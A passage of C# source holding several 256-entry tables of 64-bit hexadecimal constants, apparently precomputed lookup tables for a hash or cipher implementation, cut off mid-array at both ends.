0x9A4F9DB95782E714L\n        },\n       new ulong[] {\n            0x05BA7BC82C9B3220L, 0x31A54665F8B65E4FL, 0xB1B651F77547F4D4L, 0x8BFA0D857BA46682L,\n            0x85A96C5AA16A98BBL, 0x990FAEF908EB79C9L, 0xA15E37A247F4A62DL, 0x76857DCD5D27741EL,\n            0xF8C50B800A1820BCL, 0xBE65DCB201F7A2B4L, 0x666D1B986F9426E7L, 0x4CC921BF53C4E648L,\n            0x95410A0F93D9CA42L, 0x20CDCCAA647BA4EFL, 0x429A4060890A1871L, 0x0C4EA4F69B32B38BL,\n            0xCCDA362DDE354CD3L, 0x96DC23BC7C5B2FA9L, 0xC309BB68AA851AB3L, 0xD26131A73648E013L,\n            0x021DC52941FC4DB2L, 0xCD5ADAB7704BE48AL, 0xA77965D984ED71E6L, 0x32386FD61734BBA4L,\n            0xE82D6DD538AB7245L, 0x5C2147EA6177B4B1L, 0x5DA1AB70CF091CE8L, 0xAC907FCE72B8BDFFL,\n            0x57C85DFD972278A8L, 0xA4E44C6A6B6F940DL, 0x3851995B4F1FDFE4L, 0x62578CCAED71BC9EL,\n            0xD9882BB0C01D2C0AL, 0x917B9D5D113C503BL, 0xA2C31E11A87643C6L, 0xE463C923A399C1CEL,\n            0xF71686C57EA876DCL, 0x87B4A973E096D509L, 0xAF0D567D9D3A5814L, 0xB40C2A3F59DCC6F4L,\n            0x3602F88495D121DDL, 0xD3E1DD3D9836484AL, 0xF945E71AA46688E5L, 0x7518547EB2A591F5L,\n            0x9366587450C01D89L, 0x9EA81018658C065BL, 0x4F54080CBC4603A3L, 0x2D0384C65137BF3DL,\n            0xDC325078EC861E2AL, 0xEA30A8FC79573FF7L, 0x214D2030CA050CB6L, 0x65F0322B8016C30CL,\n            0x69BE96DD1B247087L, 0xDB95EE9981E161B8L, 0xD1FC1814D9CA05F8L, 0x820ED2BBCC0DE729L,\n            0x63D76050430F14C7L, 0x3BCCB0E8A09D3A0FL, 0x8E40764D573F54A2L, 0x39D175C1E16177BDL,\n            0x12F5A37C734F1F4BL, 0xAB37C12F1FDFC26DL, 0x5648B167395CD0F1L, 0x6C04ED1537BF42A7L,\n            0xED97161D14304065L, 0x7D6C67DAAB72B807L, 0xEC17FA87BA4EE83CL, 0xDFAF79CB0304FBC1L,\n            0x733F060571BC463EL, 0x78D61C1287E98A27L, 0xD07CF48E77B4ADA1L, 0xB9C262536C90DD26L,\n            0xE2449B5860801605L, 0x8FC09AD7F941FCFBL, 0xFAD8CEA94BE46D0EL, 0xA343F28B0608EB9FL,\n            0x9B126BD04917347BL, 0x9A92874AE7699C22L, 0x1B017C42C4E69EE0L, 0x3A4C5C720EE39256L,\n            0x4B6E9F5E3EA399DAL, 0x6BA353F45AD83D35L, 0xE7FEE0904C1B2425L, 0x22D009832587E95DL,\n            0x842980C00F1430E2L, 0xC6B3C0A0861E2893L, 0x087433A419D729F2L, 0x341F3DADD42D6C6FL,\n            0xEE0A3FAEFBB2A58EL, 0x4AEE73C490DD3183L, 0xAAB72DB5B1A16A34L, 0xA92A04065E238FDFL,\n            0x7B4B35A1686B6FCCL, 0x6A23BF6EF4A6956CL, 0x191CB96B851AD352L, 0x55D598D4D6DE351AL,\n            0xC9604DE5F2AE7EF3L, 0x1CA6C2A3A981E172L, 0xDE2F9551AD7A5398L, 0x3025AAFF56C8F616L,\n            0x15521D9D1E2860D9L, 0x506FE31CFA45073AL, 0x189C55F12B647B0BL, 0x0180EC9AAE7EA859L,\n            0x7CEC8B40050C105EL, 0x2350E5198BF94104L, 0xEF8AD33455CC0DD7L, 0x07A7BEE16D677F92L,\n            0xE5E325B90DE76997L, 0x5A061591A26E637AL, 0xB611EF1618208B46L, 0x09F4DF3EB7A981ABL,\n            0x1EBB078AE87DACC0L, 0xB791038CB65E231FL, 0x0FD38D4574B05660L, 0x67EDF702C1EA8EBEL,\n            0xBA5F4BE0831238CDL, 0xE3C477C2CEFEBE5CL, 0x0DCE486C354C1BD2L, 0x8C5DB36416C31910L,\n            0x26EA9ED1A7627324L, 0x039D29B3EF82E5EBL, 0x9F28FC82CBF2AE02L, 0xA8AAE89CF05D2786L,\n            0x431AACFA2774B028L, 0xCF471F9E31B7A938L, 0x581BD0B8E3922EC8L, 0xBC78199B400BEF06L,\n            0x90FB71C7BF42F862L, 0x1F3BEB1046030499L, 0x683E7A47B55AD8DEL, 0x988F4263A695D190L,\n            0xD808C72A6E638453L, 0x0627527BC319D7CBL, 0xEBB04466D72997AEL, 0xE67E0C0AE2658C7CL,\n            0x14D2F107B056C880L, 0x7122C32C30400B8CL, 0x8A7AE11FD5DACEDBL, 0xA0DEDB38E98A0E74L,\n            0xAD109354DCC615A6L, 0x0BE91A17F655CC19L, 0x8DDD5FFEB8BDB149L, 0xBFE53028AF890AEDL,\n            0xD65BA6F5B4AD7A6AL, 0x7956F0882997227EL, 0x10E8665532B352F9L, 0x0E5361DFDACEFE39L,\n            0xCEC7F3049FC90161L, 0xFF62B561677F5F2EL, 0x975CCF26D22587F0L, 0x51EF0F86543BAF63L,\n            0x2F1E41EF10CBF28FL, 0x52722635BBB94A88L, 0xAE8DBAE73344F04DL, 0x410769D36688FD9AL,\n            0xB3AB94DE34BBB966L, 0x801317928DF1AA9BL, 0xA564A0F0C5113C54L, 0xF131D4BEBDB1A117L,\n            0x7F71A2F3EA8EF5B5L, 0x40878549C8F655C3L, 0x7EF14E6944F05DECL, 0xD44663DCF55137D8L,\n            0xF2ACFD0D523344FCL, 0x0000000000000000L, 0x5FBC6E598EF5515AL, 0x16CF342EF1AA8532L,\n            0xB036BD6DDB395C8DL, 0x13754FE6DD31B712L, 0xBBDFA77A2D6C9094L, 0x89E7C8AC3A582B30L,\n            0x3C6B0E09CDFA459DL, 0xC4AE0589C7E26521L, 0x49735A777F5FD468L, 0xCAFD64561D2C9B18L,\n            0xDA1502032F9FC9E1L, 0x8867243694268369L, 0x3782141E3BAF8984L, 0x9CB5D53124704BE9L,\n            0xD7DB4A6F1AD3D233L, 0xA6F989432A93D9BFL, 0x9D3539AB8A0EE3B0L, 0x53F2CAAF15C7E2D1L,\n            0x6E19283C76430F15L, 0x3DEBE2936384EDC4L, 0x5E3C82C3208BF903L, 0x33B8834CB94A13FDL,\n            0x6470DEB12E686B55L, 0x359FD1377A53C436L, 0x61CAA57902F35975L, 0x043A975282E59A79L,\n            0xFD7F70482683129CL, 0xC52EE913699CCD78L, 0x28B9FF0E7DAC8D1DL, 0x5455744E78A09D43L,\n            0xCB7D88CCB3523341L, 0x44BD121B4A13CFBAL, 0x4D49CD25FDBA4E11L, 0x3E76CB208C06082FL,\n            0x3FF627BA2278A076L, 0xC28957F204FBB2EAL, 0x453DFE81E46D67E3L, 0x94C1E6953DA7621BL,\n            0x2C83685CFF491764L, 0xF32C1197FC4DECA5L, 0x2B24D6BD922E68F6L, 0xB22B78449AC5113FL,\n            0x48F3B6EDD1217C31L, 0x2E9EAD75BEB55AD6L, 0x174FD8B45FD42D6BL, 0x4ED4E4961238ABFAL,\n            0x92E6B4EEFEBEB5D0L, 0x46A0D7320BEF8208L, 0x47203BA8A5912A51L, 0x24F75BF8E69E3E96L,\n            0xF0B1382413CF094EL, 0xFEE259FBC901F777L, 0x276A724B091CDB7DL, 0xBDF8F501EE75475FL,\n            0x599B3C224DEC8691L, 0x6D84018F99C1EAFEL, 0x7498B8E41CDB39ACL, 0xE0595E71217C5BB7L,\n            0x2AA43A273C50C0AFL, 0xF50B43EC3F543B6EL, 0x838E3E2162734F70L, 0xC09492DB4507FF58L,\n            0x72BFEA9FDFC2EE67L, 0x11688ACF9CCDFAA0L, 0x1A8190D86A9836B9L, 0x7ACBD93BC615C795L,\n            0xC7332C3A286080CAL, 0x863445E94EE87D50L, 0xF6966A5FD0D6DE85L, 0xE9AD814F96D5DA1CL,\n            0x70A22FB69E3EA3D5L, 0x0A69F68D582B6440L, 0xB8428EC9C2EE757FL, 0x604A49E3AC8DF12CL,\n            0x5B86F90B0C10CB23L, 0xE1D9B2EB8F02F3EEL, 0x29391394D3D22544L, 0xC8E0A17F5CD0D6AAL,\n            0xB58CC6A5F7A26EADL, 0x8193FB08238F02C2L, 0xD5C68F465B2F9F81L, 0xFCFF9CD288FDBAC5L,\n            0x77059157F359DC47L, 0x1D262E3907FF492BL, 0xFB582233E59AC557L, 0xDDB2BCE242F8B673L,\n            0x2577B76248E096CFL, 0x6F99C4A6D83DA74CL, 0xC1147E41EB795701L, 0xF48BAF76912A9337L\n        },\n       new ulong[] {\n            0x3EF29D249B2C0A19L, 0xE9E16322B6F8622FL, 0x5536994047757F7AL, 0x9F4D56D5A47B0B33L,\n            0x822567466AA1174CL, 0xB8F5057DEB082FB2L, 0xCC48C10BF4475F53L, 0x373088D4275DEC3AL,\n            0x968F4325180AED10L, 0x173D232CF7016151L, 0xAE4ED09F946FCC13L, 0xFD4B4741C4539873L,\n            0x1B5B3F0DD9933765L, 0x2FFCB0967B644052L, 0xE02376D20A89840CL, 0xA3AE3A70329B18D7L,\n            0x419CBD2335DE8526L, 0xFAFEBF115B7C3199L, 0x0397074F85AA9B0DL, 0xC58AD4FB4836B970L,\n            0xBEC60BE3FC4104A8L, 0x1EFF36DC4B708772L, 0x131FDC33ED8453B6L, 0x0844E33E341764D3L,\n            0x0FF11B6EAB38CD39L, 0x64351F0A7761B85AL, 0x3B5694F509CFBA0EL, 0x30857084B87245D0L,\n            0x47AFB3BD2297AE3CL, 0xF2BA5C2F6F6B554AL, 0x74BDC4761F4F70E1L, 0xCFDFC64471EDC45EL,\n            0xE610784C1DC0AF16L, 0x7ACA29D63C113F28L, 0x2DED411776A859AFL, 0xAC5F211E99A3D5EEL,\n            0xD484F949A87EF33BL, 0x3CE36CA596E013E4L, 0xD120F0983A9D432CL, 0x6BC40464DC597563L,\n            0x69D5F5E5D1956C9EL, 0x9AE95F043698BB24L, 0xC9ECC8DA66A4EF44L, 0xD69508C8A5B2EAC6L,\n            0xC40C2235C0503B80L, 0x38C193BA8C652103L, 0x1CEEC75D46BC9E8FL, 0xD331011937515AD1L,\n            0xD8E2E56886ECA50FL, 0xB137108D5779C991L, 0x709F3B6905CA4206L, 0x4FEB50831680CAEFL,\n            0xEC456AF3241BD238L, 0x58D673AFE181ABBEL, 0x242F54E7CAD9BF8CL, 0x0211F1810DCC19FDL,\n            0x90BC4DBB0F43C60AL, 0x9518446A9DA0761DL, 0xA1BFCBF13F57012AL, 0x2BDE4F8961E172B5L,\n            0x27B853A84F732481L, 0xB0B1E643DF1F4B61L, 0x18CC38425C39AC68L, 0xD2B7F7D7BF37D821L,\n            0x3103864A3014C720L, 0x14AA246372ABFA5CL, 0x6E600DB54EBAC574L, 0x394765740403A3F3L,\n            0x09C215F0BC71E623L, 0x2A58B947E987F045L, 0x7B4CDF18B477BDD8L, 0x9709B5EB906C6FE0L,\n            0x73083C268060D90BL, 0xFEDC400E41F9037EL, 0x284948C6E44BE9B8L, 0x728ECAE808065BFBL,\n            0x06330E9E17492B1AL, 0x5950856169E7294EL, 0xBAE4F4FCE6C4364FL, 0xCA7BCF95E30E7449L,\n            0x7D7FD186A33E96C2L, 0x52836110D85AD690L, 0x4DFAA1021B4CD312L, 0x913ABB75872544FAL,\n            0xDD46ECB9140F1518L, 0x3D659A6B1E869114L, 0xC23F2CABD719109AL, 0xD713FE062DD46836L,\n            0xD0A60656B2FBC1DCL, 0x221C5A79DD909496L, 0xEFD26DBCA1B14935L, 0x0E77EDA0235E4FC9L,\n            0xCBFD395B6B68F6B9L, 0x0DE0EAEFA6F4D4C4L, 0x0422FF1F1A8532E7L, 0xF969B85EDED6AA94L,\n            0x7F6E2007AEF28F3FL, 0x3AD0623B81A938FEL, 0x6624EE8B7AADA1A7L, 0xB682E8DDC856607BL,\n            0xA78CC56F281E2A30L, 0xC79B257A45FAA08DL, 0x5B4174E0642B30B3L, 0x5F638BFF7EAE0254L,\n            0x4BC9AF9C0C05F808L, 0xCE59308AF98B46AEL, 0x8FC58DA9CC55C388L, 0x803496C7676D0EB1L,\n            0xF33CAAE1E70DD7BAL, 0xBB6202326EA2B4BFL, 0xD5020F87201871CBL, 0x9D5CA754A9B712CEL,\n            0x841669D87DE83C56L, 0x8A6184785EB6739FL, 0x420BBA6CB0741E2BL, 0xF12D5B60EAC1CE47L,\n            0x76AC35F71283691CL, 0x2C6BB7D9FECEDB5FL, 0xFCCDB18F4C351A83L, 0x1F79C012C3160582L,\n            0xF0ABADAE62A74CB7L, 0xE1A5801C82EF06FCL, 0x67A21845F2CB2357L, 0x5114665F5DF04D9DL,\n            0xBF40FD2D74278658L, 0xA0393D3FB73183DAL, 0x05A409D192E3B017L, 0xA9FB28CF0B4065F9L,\n            0x25A9A22942BF3D7CL, 0xDB75E22703463E02L, 0xB326E10C5AB5D06CL, 0xE7968E8295A62DE6L,\n            0xB973F3B3636EAD42L, 0xDF571D3819C30CE5L, 0xEE549B7229D7CBC5L, 0x12992AFD65E2D146L,\n            0xF8EF4E9056B02864L, 0xB7041E134030E28BL, 0xC02EDD2ADAD50967L, 0x932B4AF48AE95D07L,\n            0x6FE6FB7BC6DC4784L, 0x239AACB755F61666L, 0x401A4BEDBDB807D6L, 0x485EA8D389AF6305L,\n            0xA41BC220ADB4B13DL, 0x753B32B89729F211L, 0x997E584BB3322029L, 0x1D683193CEDA1C7FL,\n            0xFF5AB6C0C99F818EL, 0x16BBD5E27F67E3A1L, 0xA59D34EE25D233CDL, 0x98F8AE853B54A2D9L,\n            0x6DF70AFACB105E79L, 0x795D2E99B9BBA425L, 0x8E437B6744334178L, 0x0186F6CE886682F0L,\n            0xEBF092A3BB347BD2L, 0xBCD7FA62F18D1D55L, 0xADD9D7D011C5571EL, 0x0BD3E471B1BDFFDEL,\n            0xAA6C2F808EEAFEF4L, 0x5EE57D31F6C880A4L, 0xF50FA47FF044FCA0L, 0x1ADDC9C351F5B595L,\n            0xEA76646D3352F922L, 0x0000000000000000L, 0x85909F16F58EBEA6L, 0x46294573AAF12CCCL,\n            0x0A5512BF39DB7D2EL, 0x78DBD85731DD26D5L, 0x29CFBE086C2D6B48L, 0x218B5D36583A0F9BL,\n            0x152CD2ADFACD78ACL, 0x83A39188E2C795BCL, 0xC3B9DA655F7F926AL, 0x9ECBA01B2C1D89C3L,\n            0x07B5F8509F2FA9EAL, 0x7EE8D6C926940DCFL, 0x36B67E1AAF3B6ECAL, 0x86079859702425ABL,\n            0xFB7849DFD31AB369L, 0x4C7C57CC932A51E2L, 0xD96413A60E8A27FFL, 0x263EA566C715A671L,\n            0x6C71FC344376DC89L, 0x4A4F595284637AF8L, 0xDAF314E98B20BCF2L, 0x572768C14AB96687L,\n            0x1088DB7C682EC8BBL, 0x887075F9537A6A62L, 0x2E7A4658F302C2A2L, 0x619116DBE582084DL,\n            0xA87DDE018326E709L, 0xDCC01A779C6997E8L, 0xEDC39C3DAC7D50C8L, 0xA60A33A1A078A8C0L,\n            0xC1A82BE452B38B97L, 0x3F746BEA134A88E9L, 0xA228CCBEBAFD9A27L, 0xABEAD94E068C7C04L,\n            0xF48952B178227E50L, 0x5CF48CB0FB049959L, 0x6017E0156DE48ABDL, 0x4438B4F2A73D3531L,\n            0x8C528AE649FF5885L, 0xB515EF924DFCFB76L, 0x0C661C212E925634L, 0xB493195CC59A7986L,\n            0x9CDA519A21D1903EL, 0x32948105B5BE5C2DL, 0x194ACE8CD45F2E98L, 0x438D4CA238129CDBL,\n            0x9B6FA9CABEFE39D4L, 0x81B26009EF0B8C41L, 0xDED1EBF691A58E15L, 0x4E6DA64D9EE6481FL,\n            0x54B06F8ECF13FD8AL, 0x49D85E1D01C9E1F5L, 0xAFC826511C094EE3L, 0xF698A33075EE67ADL,\n            0x5AC7822EEC4DB243L, 0x8DD47C28C199DA75L, 0x89F68337DB1CE892L, 0xCDCE37C57C21DDA3L,\n            0x530597DE503C5460L, 0x6A42F2AA543FF793L, 0x5D727A7E73621BA9L, 0xE232875307459DF1L,\n            0x56A19E0FC2DFE477L, 0xC61DD3B4CD9C227DL, 0xE5877F03986A341BL, 0x949EB2A415C6F4EDL,\n            0x6206119460289340L, 0x6380E75AE84E11B0L, 0x8BE772B6D6D0F16FL, 0x50929091D596CF6DL,\n            0xE86795EC3E9EE0DFL, 0x7CF927482B581432L, 0xC86A3E14EEC26DB4L, 0x7119CDA78DACC0F6L,\n            0xE40189CD100CB6EBL, 0x92ADBC3A028FDFF7L, 0xB2A017C2D2D3529CL, 0x200DABF8D05C8D6BL,\n            0x34A78F9BA2F77737L, 0xE3B4719D8F231F01L, 0x45BE423C2F5BB7C1L, 0xF71E55FEFD88E55DL,\n            0x6853032B59F3EE6EL, 0x65B3E9C4FF073AAAL, 0x772AC3399AE5EBECL, 0x87816E97F842A75BL,\n            0x110E2DB2E0484A4BL, 0x331277CB3DD8DEDDL, 0xBD510CAC79EB9FA5L, 0x352179552A91F5C7L\n        },\n      new ulong[]  {\n            0x8AB0A96846E06A6DL, 0x43C7E80B4BF0B33AL, 0x08C9B3546B161EE5L, 0x39F1C235EBA990BEL,\n            0xC1BEF2376606C7B2L, 0x2C209233614569AAL, 0xEB01523B6FC3289AL, 0x946953AB935ACEDDL,\n            0x272838F63E13340EL, 0x8B0455ECA12BA052L, 0x77A1B2C4978FF8A2L, 0xA55122CA13E54086L,\n            0x2276135862D3F1CDL, 0xDB8DDFDE08B76CFEL, 0x5D1E12C89E4A178AL, 0x0E56816B03969867L,\n            0xEE5F79953303ED59L, 0xAFED748BAB78D71DL, 0x6D929F2DF93E53EEL, 0xF5D8A8F8BA798C2AL,\n            0xF619B1698E39CF6BL, 0x95DDAF2F749104E2L, 0xEC2A9C80E0886427L, 0xCE5C8FD8825B95EAL,\n            0xC4E0D9993AC60271L, 0x4699C3A5173076F9L, 0x3D1B151F50A29F42L, 0x9ED505EA2BC75946L,\n            0x34665ACFDC7F4B98L, 0x61B1FB53292342F7L, 0xC721C0080E864130L, 0x8693CD1696FD7B74L,\n            0x872731927136B14BL, 0xD3446C8A63A1721BL, 0x669A35E8A6680E4AL, 0xCAB658F239509A16L,\n            0xA4E5DE4EF42E8AB9L, 0x37A7435EE83F08D9L, 0x134E6239E26C7F96L, 0x82791A3C2DF67488L,\n            0x3F6EF00A8329163CL, 0x8E5A7E42FDEB6591L, 0x5CAAEE4C7981DDB5L, 0x19F234785AF1E80DL,\n            0x255DDDE3ED98BD70L, 0x50898A32A99CCCACL, 0x28CA4519DA4E6656L, 0xAE59880F4CB31D22L,\n            0x0D9798FA37D6DB26L, 0x32F968F0B4FFCD1AL, 0xA00F09644F258545L, 0xFA3AD5175E24DE72L,\n            0xF46C547C5DB24615L, 0x713E80FBFF0F7E20L, 0x7843CF2B73D2AAFAL, 0xBD17EA36AEDF62B4L,\n            0xFD111BACD16F92CFL, 0x4ABAA7DBC72D67E0L, 0xB3416B5DAD49FAD3L, 0xBCA316B24914A88BL,\n            0x15D150068AECF914L, 0xE27C1DEBE31EFC40L, 0x4FE48C759BEDA223L, 0x7EDCFD141B522C78L,\n            0x4E5070F17C26681CL, 0xE696CAC15815F3BCL, 0x35D2A64B3BB481A7L, 0x800CFF29FE7DFDF6L,\n            0x1ED9FAC3D5BAA4B0L, 0x6C2663A91EF599D1L, 0x03C1199134404341L, 0xF7AD4DED69F20554L,\n            0xCD9D9649B61BD6ABL, 0xC8C3BDE7EADB1368L, 0xD131899FB02AFB65L, 0x1D18E352E1FAE7F1L,\n            0xDA39235AEF7CA6C1L, 0xA1BBF5E0A8EE4F7AL, 0x91377805CF9A0B1EL, 0x3138716180BF8E5BL,\n            0xD9F83ACBDB3CE580L, 0x0275E515D38B897EL, 0x472D3F21F0FBBCC6L, 0x2D946EB7868EA395L,\n            0xBA3C248D21942E09L, 0xE7223645BFDE3983L, 0xFF64FEB902E41BB1L, 0xC97741630D10D957L,\n            0xC3CB1722B58D4ECCL, 0xA27AEC719CAE0C3BL, 0x99FECB51A48C15FBL, 0x1465AC826D27332BL,\n            0xE1BD047AD75EBF01L, 0x79F733AF941960C5L, 0x672EC96C41A3C475L, 0xC27FEBA6524684F3L,\n            0x64EFD0FD75E38734L, 0xED9E60040743AE18L, 0xFB8E2993B9EF144DL, 0x38453EB10C625A81L,\n            0x6978480742355C12L, 0x48CF42CE14A6EE9EL, 0x1CAC1FD606312DCEL, 0x7B82D6BA4792E9BBL,\n            0x9D141C7B1F871A07L, 0x5616B80DC11C4A2EL, 0xB849C198F21FA777L, 0x7CA91801C8D9A506L,\n            0xB1348E487EC273ADL, 0x41B20D1E987B3A44L, 0x7460AB55A3CFBBE3L, 0x84E628034576F20AL,\n            0x1B87D16D897A6173L, 0x0FE27DEFE45D5258L, 0x83CDE6B8CA3DBEB7L, 0x0C23647ED01D1119L,\n            0x7A362A3EA0592384L, 0xB61F40F3F1893F10L, 0x75D457D1440471DCL, 0x4558DA34237035B8L,\n            0xDCA6116587FC2043L, 0x8D9B67D3C9AB26D0L, 0x2B0B5C88EE0E2517L, 0x6FE77A382AB5DA90L,\n            0x269CC472D9D8FE31L, 0x63C41E46FAA8CB89L, 0xB7ABBC771642F52FL, 0x7D1DE4852F126F39L,\n            0xA8C6BA3024339BA0L, 0x600507D7CEE888C8L, 0x8FEE82C61A20AFAEL, 0x57A2448926D78011L,\n            0xFCA5E72836A458F0L, 0x072BCEBB8F4B4CBDL, 0x497BBE4AF36D24A1L, 0x3CAFE99BB769557DL,\n            0x12FA9EBD05A7B5A9L, 0xE8C04BAA5B836BDBL, 0x4273148FAC3B7905L, 0x908384812851C121L,\n            0xE557D3506C55B0FDL, 0x72FF996ACB4F3D61L, 0x3EDA0C8E64E2DC03L, 0xF0868356E6B949E9L,\n            0x04EAD72ABB0B0FFCL, 0x17A4B5135967706AL, 0xE3C8E16F04D5367FL, 0xF84F30028DAF570CL,\n            0x1846C8FCBD3A2232L, 0x5B8120F7F6CA9108L, 0xD46FA231ECEA3EA6L, 0x334D947453340725L,\n            0x58403966C28AD249L, 0xBED6F3A79A9F21F5L, 0x68CCB483A5FE962DL, 0xD085751B57E1315AL,\n            0xFED0023DE52FD18EL, 0x4B0E5B5F20E6ADDFL, 0x1A332DE96EB1AB4CL, 0xA3CE10F57B65C604L,\n            0x108F7BA8D62C3CD7L, 0xAB07A3A11073D8E1L, 0x6B0DAD1291BED56CL, 0xF2F366433532C097L,\n            0x2E557726B2CEE0D4L, 0x0000000000000000L, 0xCB02A476DE9B5029L, 0xE4E32FD48B9E7AC2L,\n            0x734B65EE2C84F75EL, 0x6E5386BCCD7E10AFL, 0x01B4FC84E7CBCA3FL, 0xCFE8735C65905FD5L,\n            0x3613BFDA0FF4C2E6L, 0x113B872C31E7F6E8L, 0x2FE18BA255052AEBL, 0xE974B72EBC48A1E4L,\n            0x0ABC5641B89D979BL, 0xB46AA5E62202B66EL, 0x44EC26B0C4BBFF87L, 0xA6903B5B27A503C7L,\n            0x7F680190FC99E647L, 0x97A84A3AA71A8D9CL, 0xDD12EDE16037EA7CL, 0xC554251DDD0DC84EL,\n            0x88C54C7D956BE313L, 0x4D91696048662B5DL, 0xB08072CC9909B992L, 0xB5DE5962C5C97C51L,\n            0x81B803AD19B637C9L, 0xB2F597D94A8230ECL, 0x0B08AAC55F565DA4L, 0xF1327FD2017283D6L,\n            0xAD98919E78F35E63L, 0x6AB9519676751F53L, 0x24E921670A53774FL, 0xB9FD3D1C15D46D48L,\n            0x92F66194FBDA485FL, 0x5A35DC7311015B37L, 0xDED3F4705477A93DL, 0xC00A0EB381CD0D8DL,\n            0xBB88D809C65FE436L, 0x16104997BEACBA55L, 0x21B70AC95693B28CL, 0x59F4C5E225411876L,\n            0xD5DB5EB50B21F499L, 0x55D7A19CF55C096FL, 0xA97246B4C3F8519FL, 0x8552D487A2BD3835L,\n            0x54635D181297C350L, 0x23C2EFDC85183BF2L, 0x9F61F96ECC0C9379L, 0x534893A39DDC8FEDL,\n            0x5EDF0B59AA0A54CBL, 0xAC2C6D1A9F38945CL, 0xD7AEBBA0D8AA7DE7L, 0x2ABFA00C09C5EF28L,\n            0xD84CC64F3CF72FBFL, 0x2003F64DB15878B3L, 0xA724C7DFC06EC9F8L, 0x069F323F68808682L,\n            0xCC296ACD51D01C94L, 0x055E2BAE5CC0C5C3L, 0x6270E2C21D6301B6L, 0x3B842720382219C0L,\n            0xD2F0900E846AB824L, 0x52FC6F277A1745D2L, 0xC6953C8CE94D8B0FL, 0xE009F8FE3095753EL,\n            0x655B2C7992284D0BL, 0x984A37D54347DFC4L, 0xEAB5AEBF8808E2A5L, 0x9A3FD2C090CC56BAL,\n            0x9CA0E0FFF84CD038L, 0x4C2595E4AFADE162L, 0xDF6708F4B3BC6302L, 0xBF620F237D54EBCAL,\n            0x93429D101C118260L, 0x097D4FD08CDDD4DAL, 0x8C2F9B572E60ECEFL, 0x708A7C7F18C4B41FL,\n            0x3A30DBA4DFE9D3FFL, 0x4006F19A7FB0F07BL, 0x5F6BF7DD4DC19EF4L, 0x1F6D064732716E8FL,\n            0xF9FBCC866A649D33L, 0x308C8DE567744464L, 0x8971B0F972A0292CL, 0xD61A47243F61B7D8L,\n            0xEFEB8511D4C82766L, 0x961CB6BE40D147A3L, 0xAAB35F25F7B812DEL, 0x76154E407044329DL,\n            0x513D76B64E570693L, 0xF3479AC7D2F90AA8L, 0x9B8B2E4477079C85L, 0x297EB99D3D85AC69L\n        },\n       new ulong[] {\n            0x7E37E62DFC7D40C3L, 0x776F25A4EE939E5BL, 0xE045C850DD8FB5ADL, 0x86ED5BA711FF1952L,\n            0xE91D0BD9CF616B35L, 0x37E0AB256E408FFBL, 0x9607F6C031025A7AL, 0x0B02F5E116D23C9DL,\n            0xF3D8486BFB50650CL, 0x621CFF27C40875F5L, 0x7D40CB71FA5FD34AL, 0x6DAA6616DAA29062L,\n            0x9F5F354923EC84E2L, 0xEC847C3DC507C3B3L, 0x025A3668043CE205L, 0xA8BF9E6C4DAC0B19L,\n            0xFA808BE2E9BEBB94L, 0xB5B99C5277C74FA3L, 0x78D9BC95F0397BCCL, 0xE332E50CDBAD2624L,\n            0xC74FCE129332797EL, 0x1729ECEB2EA709ABL, 0xC2D6B9F69954D1F8L, 0x5D898CBFBAB8551AL,\n            0x859A76FB17DD8ADBL, 0x1BE85886362F7FB5L, 0xF6413F8FF136CD8AL, 0xD3110FA5BBB7E35CL,\n            0x0A2FEED514CC4D11L, 0xE83010EDCD7F1AB9L, 0xA1E75DE55F42D581L, 0xEEDE4A55C13B21B6L,\n            0xF2F5535FF94E1480L, 0x0CC1B46D1888761EL, 0xBCE15FDB6529913BL, 0x2D25E8975A7181C2L,\n            0x71817F1CE2D7A554L, 0x2E52C5CB5C53124BL, 0xF9F7A6BEEF9C281DL, 0x9E722E7D21F2F56EL,\n            0xCE170D9B81DCA7E6L, 0x0E9B82051CB4941BL, 0x1E712F623C49D733L, 0x21E45CFA42F9F7DCL,\n            0xCB8E7A7F8BBA0F60L, 0x8E98831A010FB646L, 0x474CCF0D8E895B23L, 0xA99285584FB27A95L,\n            0x8CC2B57205335443L, 0x42D5B8E984EFF3A5L, 0x012D1B34021E718CL, 0x57A6626AAE74180BL,\n            0xFF19FC06E3D81312L, 0x35BA9D4D6A7C6DFEL, 0xC9D44C178F86ED65L, 0x506523E6A02E5288L,\n            0x03772D5C06229389L, 0x8B01F4FE0B691EC0L, 0xF8DABD8AED825991L, 0x4C4E3AEC985B67BEL,\n            0xB10DF0827FBF96A9L, 0x6A69279AD4F8DAE1L, 0xE78689DCD3D5FF2EL, 0x812E1A2B1FA553D1L,\n            0xFBAD90D6EBA0CA18L, 0x1AC543B234310E39L, 0x1604F7DF2CB97827L, 0xA6241C6951189F02L,\n            0x753513CCEAAF7C5EL, 0x64F2A59FC84C4EFAL, 0x247D2B1E489F5F5AL, 0xDB64D718AB474C48L,\n            0x79F4A7A1F2270A40L, 0x1573DA832A9BEBAEL, 0x3497867968621C72L, 0x514838D2A2302304L,\n            0xF0AF6537FD72F685L, 0x1D06023E3A6B44BAL, 0x678588C3CE6EDD73L, 0x66A893F7CC70ACFFL,\n            0xD4D24E29B5EDA9DFL, 0x3856321470EA6A6CL, 0x07C3418C0E5A4A83L, 0x2BCBB22F5635BACDL,\n            0x04B46CD00878D90AL, 0x06EE5AB80C443B0FL, 0x3B211F4876C8F9E5L, 0x0958C38912EEDE98L,\n            0xD14B39CDBF8B0159L, 0x397B292072F41BE0L, 0x87C0409313E168DEL, 0xAD26E98847CAA39FL,\n            0x4E140C849C6785BBL, 0xD5FF551DB7F3D853L, 0xA0CA46D15D5CA40DL, 0xCD6020C787FE346FL,\n            0x84B76DCF15C3FB57L, 0xDEFDA0FCA121E4CEL, 0x4B8D7B6096012D3DL, 0x9AC642AD298A2C64L,\n            0x0875D8BD10F0AF14L, 0xB357C6EA7B8374ACL, 0x4D6321D89A451632L, 0xEDA96709C719B23FL,\n            0xF76C24BBF328BC06L, 0xC662D526912C08F2L, 0x3CE25EC47892B366L, 0xB978283F6F4F39BDL,\n            0xC08C8F9E9D6833FDL, 0x4F3917B09E79F437L, 0x593DE06FB2C08C10L, 0xD6887841B1D14BDAL,\n            0x19B26EEE32139DB0L, 0xB494876675D93E2FL, 0x825937771987C058L, 0x90E9AC783D466175L,\n            0xF1827E03FF6C8709L, 0x945DC0A8353EB87FL, 0x4516F9658AB5B926L, 0x3F9573987EB020EFL,\n            0xB855330B6D514831L, 0x2AE6A91B542BCB41L, 0x6331E413C6160479L, 0x408F8E8180D311A0L,\n            0xEFF35161C325503AL, 0xD06622F9BD9570D5L, 0x8876D9A20D4B8D49L, 0xA5533135573A0C8BL,\n            0xE168D364DF91C421L, 0xF41B09E7F50A2F8FL, 0x12B09B0F24C1A12DL, 